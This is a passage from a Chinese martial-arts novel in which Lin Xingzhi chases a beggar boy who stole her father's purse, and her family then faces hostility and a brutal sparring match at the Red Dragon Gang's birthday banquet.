少年看向矮子,他的眼中似乎要喷出熊熊火焰,但他还是转身走向巷口。
突然只觉得口中似乎有什么异物出现,他一口啐在地上,原来是掉落了一颗牙齿。
“牙齿,无妨,我早晚要他们赔所有的牙齿。”少年心中暗暗道,随即他疾步飞奔消失在巷口。
林醒致此时正和母亲流连于一个卖女子事物的摊位前。
这摊子上摆满了琳琅满目的饰品,有小巧的银镯子、铃铛,也有彩色的绢花。
就在林醒致挑选之时,忽闻远处人群中一阵骚动。
只见一个衣衫褴褛,脸上脏得看不清模样的乞丐少年,手里抓着两个热腾腾的肉包子。他一边飞速跑出人群,一边将一个肉包子塞入口中。
一时间骂声不断,一辆躲避的推车不小心侧翻,竟将行人全部撞倒。
混乱中,那少年与正摸向钱袋的林风桥擦身而过,动作快得如风一般。
林醒致眼睛看得清楚,方才她一直看向那少年跑来的方向,亲眼见他借着身体遮挡,小臂往父亲腰上一蹭,那钱袋就已易主。
林峰桥伸手摸了个空,脸色一变,“我的钱袋!”
未等林风桥反应过来,林醒致已经冲了出去。她自小便满山遍野的跑,论轻功她不会半分,但若论脚力,同辈孩童倒是没有几个能比得过她的。
很显然,那男孩也不会什么轻功,但脚下也并不弱,而他对这片街巷实在是太过熟悉,专挑狭窄无人或是堆满杂物的巷子里钻。
林醒致紧随其后,却仍几次险被甩开。
“你给我站住!”
“该死,怎么还有个尾巴!”
直到转过一个堆放各种破筐和木车的拐角,那少年眼看身后女孩穷追不舍,而他又甩她不掉,便猛地一回身将手中包子向那女孩面门砸去。
林醒致侧头避过,脚步放缓。
却不想此时那男孩并没有选择继续向前跑,而是调转方向,反过头向林醒致冲了过来。
只见他五指成爪,直抓向她腰间,这手法分明带着几分野路子的狠辣。
林醒致心下一惊,即刻使出她家传掌法“
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林家掌”中的一招“闭门推月”,将那少年火速起来的手腕格挡开来。
他二人在窄巷中过了两三招,那少年招式刁钻油滑,显然实战经验丰富。林醒致则不然,她虽与哥哥林行远日常过招,但功法同属一路,见招拆招的数量有限,哪里比得上这少年成天游走于市井所见过的招式之多。
但奈何林醒致的基础功夫扎实,一时间竟也能将这乞丐少年缠住。
那少年没想到这小丫头竟也还算棘手,便虚晃一招,引得林醒致一招“”举头望月”,掌法向上击去。自己却弯腰向后一翻,手脚并用地三下两步爬上墙头,纵身一跃,便彻底消失在杂乱的棚户之后。
林醒致追至墙下,却还哪里见得半点人影。
她气得直跺脚,心中言道:“小贼,让你跑了。我们会在这城中多停留几日,别让本姑娘碰上,下次你吃不了兜着走。”
而那少年抓着抢来的钱袋,马不停蹄地跑进一片窝棚之内。
这里是郢城最脏也是最乱的地方,名为水龙沟。全城的乞丐和地痞流氓都聚集在这里苟且偷生,就连官府的差役都懒得踏足此地。
今天挟持他弟弟的两个人,便是这片破败棚户区的地头蛇,高个子名为王彪,矮个子名为丁丑。他们横行霸道,无法无天,但可惜的是水龙沟没有一个人有胆子治得了他们。
直接在一个用破木板和烂毡布所搭成的帐篷前,那个壮汉和矮子正不耐烦的等待着。
而那少年手脚麻利,早前已经偷偷将钱袋中取出的一锭银子放在怀中。
他的身影如箭一般窜入棚中,将钱袋交到他们的手上。
那王彪一把夺过少年手中袋子,掂了掂分量,一脸坏笑地打开。
“哥,这钱还不少嘞!”说罢,便要将草席之上的病弱少年一脚踢过去。
“且慢,老五,你太粗心了。把那小子给我提起来,看他有没有耍什么花招。”
随后,那王彪便一双大掌死死抓住乞丐少年的衣襟,将他整个人凌空吊起,扔向一旁的破木桩。
只见那少年藏于怀中的一锭银子,便瞬时从胸口飞出,直落在地。
而王彪和丁丑都互相对视一眼,眼睛瞪得滚大。
“王八羔子,还敢藏私,你爷爷我打死你!”
王彪快步上前对着那少年的脸就是一脚,少年的鼻子顿时迸出血来。
“还敢不敢,还敢不敢?”
王彪一脚接着一脚,直踹得少年脑中昏天暗地。
“行了,老五,你把他打死了,我们还去哪寻这样的工具?差不多得了。”一旁的丁丑劝道。
那王彪听了三哥的话,逐渐停手。
随后矮个子男人从钱袋中抓出几枚铜钱,如同施舍骨头般,随手扔在他们脚下的泥水之中。
“喏,赏你们的,快滚吧!”
说罢,他将钱袋揣入腰间,拍了拍王彪的后背,他二人转身扬长而去。
过了良久,少年捂着胸口,忍着剧痛从地上爬起。他没有立刻去捡臭水中的钱币,而是抽出自己收集的几块布条,将弟弟牢牢固定在自己的背上。
最后他从污水中捞起那几枚铜钱,将它们在土中踩了又踩,抹去泥土,捧在手心。
他盯着手心里的钱币,一字一句地发誓:“下一次……我一定要……把你们所有人的牙都敲碎!”
那少年背着弟弟一瘸一拐的钻进了一条更为隐蔽的小巷。
那里是一座废弃的院子,在坍塌的角落里堆满了碎砖和杂草。
他用力地将表面几块看似摆放随意的砖砖石一一拨开,碎石之下竟露出一个狭小的墙洞。
他伸出右手摸索着,直到眉头一舒,迅速掏出——那是一锭沉甸甸的金子!
这正是他在将钱袋交给王彪之前,用极为快速的手法偷偷藏在此地的宝贝。
倘若他不藏一锭银子在身上,又怎能骗过丁丑那个狡猾的家伙。毕竟他们无论如何都想不到他会有这个胆子,藏下一锭金子。
“咳咳”,背上的弟弟开始咳嗽,少年从怀中掏出水囊喂给弟弟。
“哥,你怎么样了?是我没用,又被他们抓到了。”
那少年摇摇头,神神秘秘地说道:“你瞧,这是什么?”
那病弱的少年看向他怀中,但见一金黄色的块状物体。面上登时露出欣喜之色。
“哥……金!”
还未吐出半个字,他便被少年将嘴及时捂住。
“嘘,这可是宝贝,走!”
那乞丐少年随即将洞口恢复原样,他背上弟弟,消失在巷子尽头,一路向破旧的窑洞直奔而去。
17. 暗流涌动
林醒致未将那男孩捉住,心中本就不悦,复又等上片刻,却并未发现父亲追上前来。
她只得原路返回,见父母正在半路与一位头发花白的老人交谈。
那人的年纪约莫六七十岁,个头不高,脸上满是皱纹,但衣着却要比寻常路人看上去华丽的多。他一身褐色长袖锦袍,远远望去竟有几分员外气质。
“宽伯,多年未见,您身体还好吗?”林风桥握住那老人的双手问道。
“好,好得很,二爷,您回来就好啊。”
方才林风桥钱袋被偷,他便紧随女儿脚步向前追去,却不想路过一条街口时后背突然被人猛地一拍。
林风桥下意识警觉地将肩头瞬间放松,不与之相抗衡。左手覆上那人手背,进而反扣住对方手腕,右手食指和中指并作一齐戳向那人肋下穴道。
这一记猛招正是林家掌中的“避水藏拙”。
然而对方似乎早有预料,那拍肩的手掌一触即收,未等林风桥抓住,便如蜻蜓点水一般避开了他的擒拿。他的脚横跨两步,上半身摇摆闪避。林风桥竟一时间难以一击戳中他空门。
这二人于顷刻之间已交锋数招,但在外人眼中,他们不过是擦肩而过亦或是恰巧撞上的路人。
这时林风桥心生疑问,方才那招身子斗转一圈的招式,明明是林家掌中的第三招“回风拂柳”,这老人怎么习得?
他手上稍歇,向那人看去,只见对面的老者白须长坠,面容慈祥,眼中却有着难以抑制的喜悦和冲动。
“二少爷,是你吗,二少爷?”
二少爷?随后赶到的宋云莲正巧听到了这句话,看来这白发老人定是和林风桥相识。
“我,林宽,怎么?不认识了?那年你走时还是个半大小子,如今却已为人父了……”老人一边说着,一边看向站在一旁的林行远。
“林宽?”林峰桥在脑海中迅速搜索这个名字,突然他眼睛睁大,忙看向那老人。
“宽伯,真的是你,我就记得你的“林家掌”练得炉火纯青,这几招还是你教我的呢。”
那老者闻言,顿时眼中含泪,他抱拳深深一揖道:“老仆林宽,见过二少爷!哦不,二爷!一别二十年,想不到你我二人还能再见!”
原来自那封请柬送出后,林道堂便告知林宽,他弟弟近日要回郢城,要他在此必经之路上等候。
而刚才的那一记“拍肩”则是林风桥年幼时与他过招常用的伎俩。
“宽伯,快请起。”林风桥忙上前扶起老者,他的一双手,竟也不由自主地颤抖。此刻,林风桥的心中已是百感交集。
这时林醒致已经匆匆赶来,她向那老人行礼,林风桥忙向宽伯介绍自己的女儿。
那宽伯打量着小姑娘,眼中满是赞许的目光:“少小姐果然天生丽质,一副冰雪聪明的模样实乃世所罕见。”
“多谢爷爷夸奖。”林醒致回敬道,不过她向来听不得夸奖,直觉鸡皮疙瘩起了一身,便只当左耳进右耳出。
“哈哈哈哈哈……”林峰桥开怀大笑,似乎已将方才钱袋被偷的懊恼,抛至九霄云外。
林宽抱拳道:“还请二爷随我来。”
就这样,一行人有说有笑,在林宽的带领下,顺利前往赤龙帮。
赤龙帮的宅邸就位于城中心不远处,高墙大院,上面插满赤色旗帜,气势森然。
此时,庭院中已经张灯结彩,鞭炮声此起彼伏,往来宾客不断,纷纷扰扰好不热闹。
而朱漆大门两侧一对石狮子则张开大嘴,面目狰狞,显露出不一样的威严。
林醒致自是头一次来到这种地方,心中只道这赤龙帮的名气远没有叶落山庄的名头大,但排场和用度倒是丝毫不减。
他们一家在一位侍女的带领下顺利入座。
其中,林家老夫人的宴席便设在这最大的演武场上,此时宾客正寻桌敬酒,场上人声鼎沸。
酒过三巡,现场气氛正酣,只见林老夫人将手中茶杯往桌上轻轻一放,略微咳嗽两声,却让周围酒桌瞬间安静下来。
这老太太身着一件暗紫色的莲纹锦缎袄裙,头发梳得一丝不苟,戴着一套碧绿色的翡翠头面,样子好生气派。其面容也是保养得很好,没有几条皱纹。
她的目光正缓缓扫过人群,直落在林风桥一家,口中淡淡道:“风桥,你离家多年,今日归来,怎么不见你介绍这一双儿女?”
林风桥起身行礼:“母亲在上,这位是我大儿子林行远,这是我小女儿林醒致。”
他们兄妹分别起身,向那老夫人鞠了一躬。
林醒致自幼便听母亲讲起过父亲他们林家的种种往事,心中便对着素昧谋面的大伯父和伯母没什么好感。此番若非父亲执意要来,她是无论如何也不愿踏足什么赤龙帮的。
那林老夫人见林醒致面上全无喜色,皱了皱眉头,开口道:“怎么,这一双儿女不愿给老身磕个头吗?莫非是心中还存着怨气,不认我这个祖母了?”
此时,坐在一旁的林道堂也立刻帮腔:“二弟,母亲大寿,这小辈的礼数不可废呀!”
那林道堂比林风桥要大上几岁,神采奕奕,只是一把黑色长须,略显年岁,但更是增添几分沉着稳重。
这突如其来的发难,让林风桥不禁脸色一变。
酒席上的众宾客都齐齐望向他。
有人抓起桌上的瓜子送入口中,就等着看这初次露面的林家二爷该作何回应?
正当林风桥不知所措之时,宋云莲却已拉着儿女起身微笑道:“母亲言重了,孩子们与您初次相见,心中敬畏,一时怯场罢了。”
“行远,醒致,还不快给祖母磕头祝寿!”
林氏兄妹离席而去,恭恭敬敬地在大堂上磕了三个响头。
他们的动作十分规矩,倒让那林老夫人一时之间竟挑不出毛病。
随后,林道堂的儿子林承嗣同几位师兄弟上场为寿宴“助兴”。
其六位师兄弟纷纷持剑和长鞭等几种武器轮番上阵。而林承嗣则压轴出场,他赤手空拳,未带任何兵器。
它立于厅堂中央,向四周抱拳朗声:“今日祖母寿辰,承嗣与几位师兄弟献丑,演练一番林家掌法,以博诸位一笑!”
话音刚落,几位早已准备多时的师兄弟跃入场中,与林承嗣相对而立,个个身形挺拔,气势十足。
一旁的小厮敲起锣鼓,为他们之间的比试加油助威。
率先动手的是林道堂最小的弟子梁满,他年纪和林醒致相仿,个头却比林醒致还要矮上半头。
他手中持一对金色双叉,日光之下发出刺眼光芒。
梁满刚一登场便将右手钢叉刺向林承嗣。
林承嗣反应极快,他翻身躲过,待那钢叉还未来得及收回,左手已然跨过,将其中一只钢叉死死夹住。
梁满见右手兵器被控制住,即刻将左手钢叉向林承嗣双腿袭去。
只见林承嗣双腿向上一抬,顺利躲过双叉横扫,紧接着对着小师弟的胸口就是一脚,一招“猛虎跳涧”顺势出击。
那梁满登时飞出,将庭院中的牡丹盆景撞一个粉碎。
“好!”
众宾客齐声喝彩。
林承嗣见状喜笑颜开,示意梁满赶紧退下。
下一秒老大周莽走上前来,他个头高大,手中握着一把红缨长枪。
他抱拳行礼,姿态沉稳,而林承嗣则空手而立,更显得艺高人胆大。
周莽吐气开声,长枪一抖,向林承嗣劈面刺来,这正是“林家破阵枪”的起手式“直捣黄龙”。
那长枪速度飞快,气势狠绝,是这周莽的拿手绝活。
“好快的枪!”林醒致不禁赞叹,心道自己若是上去,怕不是要被这□□出几个血窟窿不可。
而立于中央的林承嗣绝不硬接,他垫脚向侧后方飘退,拂过的蓝色衣雀正被这直面而来的银枪撕成两半。
他朗声道:“来
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得好!”这一避实在是惊险,引得席间一阵低呼。
紧接着“横扫千军”,“神龙摆尾”,“白蛇吐信”,他一招招纷纷使将出来,林承嗣耳边枪风呼啸而过,虽然他看似被林家破阵枪赶得满场腾挪,但那红缨银枪却总是恰到好处地,贴着林承嗣的衣襟划过。
林承嗣则在这看似密不透风的林家枪法中,将林家掌轻盈灵巧的身法展现得淋漓尽致。
这二人在院中相斗,招招凶险,却又招招化解,一来一回是扣人心弦。但其间也难免有老人看出些许端倪,这二位师兄弟像是提前演练好的一样,一招一式,各有对策,可谓严丝合缝。
虽然他们都不可否认这场比试的确是精彩纷呈,但似乎颇有些许刻意表演的意味。
最后一幕,周莽一记泰山压顶,将长枪直劈而下,林承嗣直视长枪,双掌交叉举过头顶,长喝一声。这招便是以内力硬托的“举火燎天”。
只见他用力一推,长枪顿时上飞,林承嗣看准时机,左手抓住周莽手腕,右腿对着他膝盖一踹。
周莽即刻摔倒,林承嗣顺势夺枪。他将红缨枪握在手中,重击在地发出“咚”地清脆之声。
只待周莽缓缓起身,他便对着周莽抱拳道:“承让了,师兄。”
而周莽似乎也面露愧色:“师弟,拳法练得精妙,为兄佩服。”
“哈哈哈哈,好!”坐在高堂之上的老夫人高声叫好,她举起酒杯敬向诸位宾客。
“老夫人得如此孙儿,当真是洪福齐天啊!”
“林家出了这等少年英才,就是林老前辈的在天之灵也会感到欣慰,”
“就是,林家枪法气势如虹,林家掌更是精妙绝伦呢。”
一时间各位宾客都齐声欢呼,似乎要将这林家老少从头到尾都夸一个遍。
林醒致虽然感叹林承嗣功夫厉害,但却总觉得哪里不对劲,她正想跟一旁的林行远说说话,看看他是如何看待这一场比试的。
刚一扭头,却见林行远正大口塞着美味佳肴。
林醒致对天翻了个白眼,心道:“这家伙跑这里来大饱口福来了,一张嘴可就知道吃。”
她对着林行远的胳膊狠狠掐了一下,林行远吃痛,忙竖起眉毛看向林醒致。
“你干什么?”
“你可就知道吃,刚才那林承嗣比试你可看了?”
林行远将口中半块红烧肉咽入腹中:“我······我自然是看了······”
“那我问你,最后上场的弟子是哪一位?他用什么兵器你可记得?”
林行远本来挺直着胸脯,一听妹妹居然问起他方才院中比武的细节,心生尴尬。
他全程只顾得低头大口吃肉,开怀畅饮,哪里关注过场上半分。只不过在众宾客都齐声欢呼的时候,他才愿意抬起头扫上两眼,随声附和一下。
对他来说,这比试就没有什么好看的,那林承嗣与师兄弟之间的过招还没有平时他兄妹二人打斗来得激烈,不知妹妹为何如此上心。
“啊,我记得,当然记得。”林行远一边答应,一边在脑中飞速思索,“这最后一场比试,是那个什么大师兄······用的什么来着,好像是长剑······不对,不对,是······”
可惜他这脑袋转不动,看见什么过一会儿就忘,林醒致时常调侃他的记性都不如家里的大黑狗。
事实也的确如此,就连他自己也不得不承认。
只过片刻,林行远便表示投降:“妹,我是真没看,我贪吃你又不是不知道,至于他们爱跟谁打,跟几个人打架,谁胜谁负,我是一点也不关心。”
“不过,这道红烧肉很好吃,你也尝尝。”说罢,便加起一块肉要送入她碗中。
而林醒致早已猜到这个结果,但是在席间也不好发作,她挤了挤眼睛,扭过头另外夹起一块肉,送入口中。
但未等林醒致仔细咀嚼,却听到正中席间老夫人沙哑的声音传来。
18. 以势压人
“风桥,你可曾传授一双儿女武艺?”
“是啊,二弟,这行远和醒致也都不小了,正是习武的年纪,你可曾将我们林家的功夫传授于他们?”林道堂接着林老夫人的话继续问道。
林风桥却已早就料想到他们会问起此事,但他早有准备:“行远,这小子性格顽皮,我的确有教他一些拳脚功夫,不过只是皮毛,不足挂齿。至于醒致······”
林风桥心中打算,只说儿子林行远有些许简单功夫,而女儿林醒致则是没什么武功。
他深知大哥嫉妒心极强。
记得自幼时起,大哥便苛求要在父亲的众位弟子中拔得头筹。
当自己还习武停滞未能突破之时,哥哥总是对他呵护有加,可当他突破瓶颈,功夫大有长进之时,哥哥便不复之前那般对他了。
只要他按照自己预想所说,便是大哥和老夫人都挑不出什么毛病,如此一来,更为稳妥。
但没想到的是,他还未说完,就被林道堂打断了。
林道堂似乎并没有耐心听他说完,什么林醒致,一个小女娃习不习武又有何差别,难道她未来还能执掌一派不成?
“不用说了,二弟,小女娃练不练的又有什么用,长大了相夫教子,哪里用得着什么功夫。”
话音刚落,在场的众位江湖侠客都哈哈大笑起来。
林醒致闻言,心中一股怒气直冲上天灵盖,“你个破烂,什么东西。”她此时恨不得将这酒桌全部掀翻,直冲到这狗屁林道堂的面前,狠狠甩上他几个大耳光。
叫他看看,什么叫脸皮!
此时林醒致正想发作,却看到一旁的母亲正冲她瞪眼。
她自然是知道什么意思,这是叫她别轻举妄动,老老实实地待着。如此,她便不好发作。倘若她寻得一时畅快了,父母的颜面又往哪里搁。
想到这里,她压制住心中的怒火,夹起一大块青菜狠狠咬了一口。
“就是,就算成了武林中的佼佼者又如何,不还是成了背叛武林的罪人。”
“你说的是叶落山庄的那个女魔头吧?她勾结魔教害死自己的父亲。现如今下落不明,只怕是没有颜面再面对各位英雄豪杰了。”
“不过那叶庄主当真是个英雄,他姐姐将叶落山庄的名声败坏至此,他却仍然挺身而出,重振门派,果真了的。”
“那女魔头若是再敢出现,我第一个冲上前去杀了她!”
“好!”
这些人一个个喝得红光满面,醉醺醺地已不知天高地厚,一味地吹牛皮,拍马屁,却不愿撒上一泡尿照照自己的模样。
他们这些人要么是十里八乡身份地位高贵的地豪乡绅,要么是镖局中的趟子手,要么是林家世代交好的子弟,哪里有什么真正的江湖侠客。
席间三两女眷也大多是他们劫掠而来的良家妇女,与其说他们是习武之人,倒不如说他们是强盗。
林醒致对这些人的来历不甚清楚,她只觉得眼前一个个满脸横肉的粗鄙汉子,虽然锦衣玉食地装扮着却还是难掩心中的腌臜本质。
林道堂扶须微笑,似是很得意自己的观点,他眉毛微挑看向林风桥,等待他的反应。
林风桥面上僵硬一笑,不再作声。
林醒致听得这些人对那叶落山庄的前任庄主竟然如此出言侮辱,实在是气不打一处来。
“这帮腌臜之人,一个个怕是给那女侠提鞋都不配。怎得厚颜无耻至此,而在这里大放厥词,当真是脸也不要。”
林醒致想到那被囚禁在地宫中的铁锁怪人,心中五味杂陈:“这江湖当真是吃人不眨眼。还望那前辈能顺利从地宫中逃出来,把这些恶语相向的人全都收拾了。”
然而,林风桥的闭口不谈并未换得一线喘息。那林道堂紧接着又问道:“二弟,你看今日正好,大家都在这里,行远初次来到赤龙帮,他此前也从未见过自己的堂兄。不如让他二人过过招,相互认识一下如何啊!”
还未等林风桥做出回应,那席间众人就已经开始叫好。
所谓看热闹不嫌事大,方才这少帮主已经大展身手,众人皆已见过他武功精湛,只是这林家二爷的公子哥还未显露一手。
美其名曰过过招,实际上是要这林行远出个洋相罢了。
林风桥忙开口道:“大哥,小儿功夫只学过皮毛,哪里比得上少帮主少年英才,这比试还是不要的罢。”
林道堂眉毛一皱:“怎么,这两个小娃娃比试比试,给大人们助助兴,有何不可?莫非你儿还能伤了我儿不成?”
“不不不······”
“那便让你儿上来与承嗣比上一比。”那林道堂语气变得强硬,火药味儿渐浓。这个节骨眼,林风桥若是不答应也得答应,那林道堂仗势欺人,便是不行也得行。
“我来!”
忽然,一声浑厚的嗓音从庭院后面传来。
只见角落里那棵光秃秃的大柳树之下,站着一位高瘦细长的少年。他便是林道堂的三弟子,人称“驭马长杆”的马俊英。
他与那前去风云客栈报信的马镜冲是一对堂兄弟,同在林道堂门下习武。而他年纪轻轻便已有江湖称号,正是长年在外游荡,锄奸惩恶,声名远扬。
如今,他风尘仆仆地赶回来便是要给这林老夫人祝寿,却不料刚一进门便听到师父要让四师弟同什么人比试。
他向来敬重自己的师父,更是视林老夫人为自己的亲祖母一般。倘若有人要在今日寿宴之上找师父的麻烦,他定是第一个不答应。
马俊英提起手中长棍,飞身快步跃入庭院正中。
他抱拳向林道堂道:“师父,弟子姗姗来迟,还望您和老夫人见谅。”
林道堂见自己的乖徒儿及时赶到,心中更是得意。
他捋着胡须笑眯眯道:“乖徒儿,为师高兴都来不及,哪里会怪你,快快起来吧。”
他眼睛一转向林风桥扫了一眼,又道:“今日你二师叔才回来林家,你便代替你四师弟同他堂弟过上几招,给大家开开眼吧。”
马俊英顺着林道堂眼神的方向看了过去,只见那跟自己年纪相仿的少年还在埋头进食。
他嘴角一撇,似乎带着三分嘲弄。心道:“这小子都要上台比武了,却还在那里大口吃肉,当真是没有把他们赤龙帮放在眼里。”
马俊英握着长棍的手逐渐收紧,“既然你装作毫不在乎,那我一会儿便要给你点颜色瞧瞧。”
林风桥见林道堂态度如此强硬,而此时众宾客也都纷纷将目光投射过来,心下焦急万分,但却无可奈何。
他缓缓开口:“行远,你便上去同这位师兄过过招,切记不可莽撞。”
似乎“莽撞”二字刚好触及到了林道堂敏感的神经,他冷哼一声,向弟子使了个眼色。
他们师徒配合默契,马俊英已经成功接收到师父的指示,那就是“留情便也不留情”,师父的意思是要他好好戏耍这小子一顿,让他当众出出丑。
然而,林行远纯属是“两耳不闻窗外事,一心低头吃美食”的类型。
当他再抬起头时,却听到父亲竟唤他上去比试比试。他心中自然是一万个不愿意,但见场上形式似乎和刚才不同。他抓起一旁的白抹布用力蹭了蹭手,跳出酒席,走到演武场中央。
他双手抱拳冲着马俊英点了点头。
“行远,你马师兄手里有他擅长的‘套马棍’,你也寻一件趁手的兵器吧。”林道堂示意下人将兵器箱子抬上来。
“不不不,我······我不会用兵器,平时也就练练拳脚。”,林行远说着却想起来,前不久他拿起木棍想要打那奇怪老和尚,却反被对方震飞的惨状,心中不禁打了几个寒战。
“什么?这小子居然连兵器都没碰过?哈哈哈哈······”
“到底是乡下来的,想不到这林二爷做了上门女婿,日子也不好过,儿子竟然连个像样的兵器都没有。”
台下宾客你一言,我一语地说个不停,对台上的林行远是各种羞辱,对林道堂更是极尽阿谀
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奉承。
林行远平日里和妹妹打闹惯了,便觉得这比试也就是点到为止。倒是母亲曾经送过他一把匕首,父亲却说这匕首携带在身上反而不安全,叫他不要再用了。
林行远只有平时上山砍柴才将其带在身上,但是此次跟随父母来到赤龙帮赴宴,他就老实把匕首放在家中了。
还未等林行远反应过来,那一高一矮两个小厮已经抬着一个大红箱子晃晃悠悠地走了过来。
宋云莲的确没有想到,丈夫竟然真的同意儿子上台同这个少年比试。她心中清楚,林行远的功夫还没有林醒致厉害,怎么会是这位行走江湖的少年的对手。
林醒致在台下坐着,狠狠闷了一口茶水,对林行远喊道:“哥,你就选吧,什么顺手你就拿什么!”
林行远此时心里正慌,听到妹妹叫他拿上一件“顺手”的兵器,他的眼睛直勾勾看向箱底的一把黑色匕首。
“就这个吧!”
他抄起匕首,反手护在胸前,做出格挡之势。
马俊英见他只选了一把小匕首,微微一笑,心道:“这小东西那里是我长棍的对手。”
突然,鼓声骤起。
马俊英挥动套马棍,向林行远扑面袭来。
林行远原地不动,手臂交叉上抬,后挺弯腰,这把匕首刚好贴着马骏英的竹棍一路下切。
令人没想到的是,这竹棍和匕首相接竟然能够发出金石之声了,在场之人无不震惊。
“早听闻,马少侠一根‘套马棍’用棍如枪,今日一见果然名不虚传。这青竹之下是实心铁棍,但这马少侠仍然行动如风,果真是不一般。”
林行远也吃了一惊,他见对方步伐轻巧,只道他使用的是一根寻常竹棍,哪里想到里面竟然是纯铁浇铸。
马俊英见他一招躲过,便顺招而下,将这长棍下压。
但听得林行远腰部骨骼“咯咯”作响,马俊英用了五成力将他狠狠压在棍下。
林行远只觉后腰剧痛,他心下一急,反手将匕首向上直刺,马俊英急忙扭头闪避,林行远抓住时机翻身紧贴地面,滚动逃出。
马俊英没想到,这傻小子看着憨头憨脑的,没想到反应也不慢。
不过这倒让他来了劲头,他原本只是想要这小子吃点苦头,但是现在他却想要这小子明天走不了路。
他左手变掌,对着长棍一拍,那竹棍登时脱手而出,正中林行远后背。
林行远只觉一阵酸麻,一股巨力将他推翻在地,那把匕首也即刻飞出,扎进了一旁的木桩之中。
然而就在此时,席间传来一声惊呼。
“马少侠,受伤了!”
众人纷纷向马俊英脸上看去,只见他颧骨之上出现一道血痕,顷刻间血液竟汩汩流出。
他抬手抹了抹,见手上鲜红一片,顿时火冒三丈。
“这小子竟敢伤我!我废了你!”
他未等众人反应,便快步上前,手挥竹棍,向着还未来得及起身的林行远猛然重击。
“嘭、嘭、嘭······”
一棍接着一棍,打得演武场上一时间到处是尘土飞扬,那铸铁竹棍的动静似乎要将地上锤出几个大洞不可。
在场之人无不看得喜笑颜开,纷纷心道:“这才叫比武啊。”
各位宾客都心照不宣,眼前这位马少侠显然已经被彻底激怒,这下乡野小子必定非伤即残。
正所谓看戏不怕台高,比武倘若不见血,又怎算得哪门子比武呢?
只见那根竹棍上下翻飞,硬锤在地,倘若稍有不慎,有一丝的躲闪不及时,林行远必定会被这铁棍锤得脑浆迸裂,血溅当场。
而林行远此时已经是尽力躲闪,他费力地在地上来回翻滚。一身衣服都已经磨破,关节开始渗出血丝。
就在这危急关头,一碟豆腐飞出,正击在那竹棍之上。
“啪”,撞得粉碎,雪白的瓷片顿时散落一地。
紧随其后,一道青色身影跃入台中,挡在林行远身前。
19. 再遇小贼
这青色身影正是林行远的母亲宋云莲。
她见儿子性命不保,便及时出手相助,总不能见这马少侠将儿子打死。
“弟妹,怎地出手了,小孩子过过招,大人怎能插手。”林道堂语气平缓却带着几分责怪之意。
但宋云莲心里跟明镜儿似的,知道这林道堂在揣着明白装糊涂。
他默许三徒弟故意对林行远下狠手,却不想自己的徒弟反而先行受了伤,于是恼羞成怒便想要致人于死地。
现如今他却又倒打一耙,她和丈夫倘若不出手,便会眼睁睁看着儿子变成残废,可若出手,却又正好中了他们的下怀。
那林道堂自可说他们是生怕孩子输了,面上无光,于是出手阻拦。这好话赖话可都让他们说了,真是好算计。
“我儿实在不是大哥座下高徒的对手,今日登台属实献丑,他们二人都受了伤,请允许他们下去医治吧。”宋云莲抱拳道。
林道堂看了看地上躺着的林行远,以及站在一旁却已经血流满面的马俊英,狠狠瞪了他徒弟一眼。
“大好的日子,你怎么弄成这个样子!”他语气强硬,此话一出竟吓得马俊英肩膀抖了三抖。
紧接着,他挥了挥手让他们各自退下。
宋云莲和林风桥将林行远扶到台下,宽叔早就带着下人在一旁等候已久,便立刻扶上林行远到后院休息去了。
突然这时几名小厮自房后狂奔而来,口中不住呼喊着:“不好了,不好了,走水了,走水了!”
此时因为正值冬日,天很早就黑了。
众人顺着下人们所指的方向看去,只间林家大院的房后正升起一团浓烟。
“真的走水了,快快救火!”
只见那仆人都纷纷向房后跑去。
好在这火势还不算大,当一桶接着一桶的井水被泼向厨房,那熊熊燃烧的火焰逐渐减小,直到彻底熄灭。
然而此时听到这赤龙帮厨房起火,刚扶儿子进了里屋的宋云莲急忙从屋内跑出,赶忙看向庭院中林醒致的位子。
她方才净顾着照顾受伤的儿子,却忽略了女儿的动静。她的确有好长一段时间没看到林醒致了,此刻座位空空如也,她又去了哪里呢?
“林醒致!林醒致!”
她向着人群呐喊,寻找女儿的下落,却不料人们都在急忙躲避,却哪里见得女儿的半个身影。
突然,宋云莲心下一惊,她赶忙随着人群向厨房奔去。
原来这林醒致此时的确是在林家的厨房之中。
只不过她为何要来到后厨,绝非是因为她贪吃,而是她刚好在这酒宴之上见到了一个熟悉的身影,一个她必须跟过去,将对方彻底抓住的身影。
话说这赤龙帮属于整个邳州地界内的第一大帮派,更别提他们林家手中又握着取之不尽的矿产资源。所以林老夫人过寿,方圆百里乃至千里的有头有脸的人物都得前来祝寿,方才不失了礼数。
所以当天这庭院之中,大红布盖在八仙桌之上,一共摆了三百来桌,白色瓷盘之中尽是美味佳肴。
每当一盘空了,小厮和侍女便赶忙再端上一盘。
众宾客于各个酒桌间觥筹交错,哪里注意得到细微的动静。
只见在热闹的酒席之间,红色桌布之上的白色餐盘却在悄无声息地减少。
一会儿桌子上少一道“东坡扣肉”,一会儿这正中央的“群英荟萃”不知何时没了踪影。这一道道菜,正神不知鬼不觉地从众人眼皮子底下玩失踪。
“这菜怎么越吃越少了?”
“是啊,这我也没吃几口,怎么连盘子也没有了。”
宾客个个醉醺醺的,眼睛都睁不开了,又怎会注意到这桌子下面的名堂。
只见这红色桌布下,什么东西似乎正在缓缓蠕动,不一会儿,一只皴黑的小手就从桌下探了上去,抓起一道菜就进入桌底。
这一切都恰巧被林醒致看在眼里。
赤龙帮既然是当地有名的帮派,而林家又是有名的大户人家,这开门迎客大摆筵席,自然是有一些江湖上的小乞丐慕名前来。他们无法入座,便要干点偷鸡摸狗的小把戏,这倒也不足为奇。
不过,就在林醒致闲得无聊,盯着这桌子下的手看了好一会儿。
“好手法啊,这么多人的宴席上也敢偷。照这林帮主的性子,倘若被抓住,便是要断一只手不可。”林醒致心中暗道。
这只小黑手,趁着那肥头大耳的壮汉还未酒醒,便将他桌前的一大只烧鸡全部端走。甚至,他还敢在别人迷迷糊糊正啃着板鸭的时候,硬生生从口中夺食,当真是无所畏惧。
林醒致看见那桌上的人一个个的,都被这人戏耍,各种丑态百出,心下觉得十分有趣,正看得津津有味。
但突然,可能是那桌子下的小乞丐手中的袋子已经装满,他竟趁人不注意,从桌子下跑了出来,一路向房后奔去。
但林醒致却面色陡然一改。
这穿衣打扮,这一只黑鞋,一只黄鞋,分明就是今天清早在城中遇到的,那个抢了父亲钱袋,却又逃之夭夭的小毛贼的模样!
“哪里跑?可算让我又遇到你,这回你跑不掉!”林醒致在心中暗暗道。
此时正值林道堂对父亲接连发难,哥哥也为叫上台前与那突然出现的弟子比武。
